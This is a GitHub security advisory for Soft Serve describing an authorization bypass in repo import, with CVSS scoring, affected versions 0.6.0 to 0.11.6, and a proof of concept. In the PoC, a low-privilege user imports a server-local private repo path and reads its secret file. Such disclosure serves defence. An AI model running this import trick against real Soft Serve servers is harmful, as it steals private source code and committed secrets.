GHSA-xgxp-f695-6vrp

Suggest an improvement
Source
https://github.com/advisories/GHSA-xgxp-f695-6vrp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-xgxp-f695-6vrp/GHSA-xgxp-f695-6vrp.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-xgxp-f695-6vrp
Aliases
Published
2026-03-19T19:27:58Z
Modified
2026-03-27T22:17:29Z
Severity
  • 7.1 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
In Soft Serve, an authenticated repo import can clone server-local private repositories
Details

Summary

An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details

Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.

The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is:

PoC

Configuration:

  • Default local test configuration is sufficient.
  • SSH must be enabled.
  • At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps:

  1. Start Soft Serve.
  2. As an admin, create a private repo:
soft repo create secret -p
  1. Create a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"
  1. Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD
  1. Confirm the low-privilege user cannot access the private repo directly:
usoft repo info secret

Expected result:

Error: repository not found
  1. As the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com
  1. Clone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt

Expected result:

top secret

Notes:

  • The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact

This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties:

  • Operators hosting Soft Serve for multiple users or teams
  • Owners of private repositories on the same instance
  • Any deployment where untrusted authenticated users can use repo import

Practical impact:

  • Theft of private source code
  • Disclosure of secrets committed to private repos
  • Exposure of unreleased or internal projects
  • Possible follow-on supply-chain risk if stolen code contains credentials or release material
Database specific
{
    "cwe_ids": [
        "CWE-200",
        "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:27:58Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "HIGH"
}
References

Affected packages

Go / github.com/charmbracelet/soft-serve

Package

Name
github.com/charmbracelet/soft-serve
View open source insights on deps.dev
Purl
pkg:golang/github.com/charmbracelet/soft-serve

Affected ranges

Type
SEMVER
Events
Introduced
0.6.0
Fixed
0.11.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-xgxp-f695-6vrp/GHSA-xgxp-f695-6vrp.json"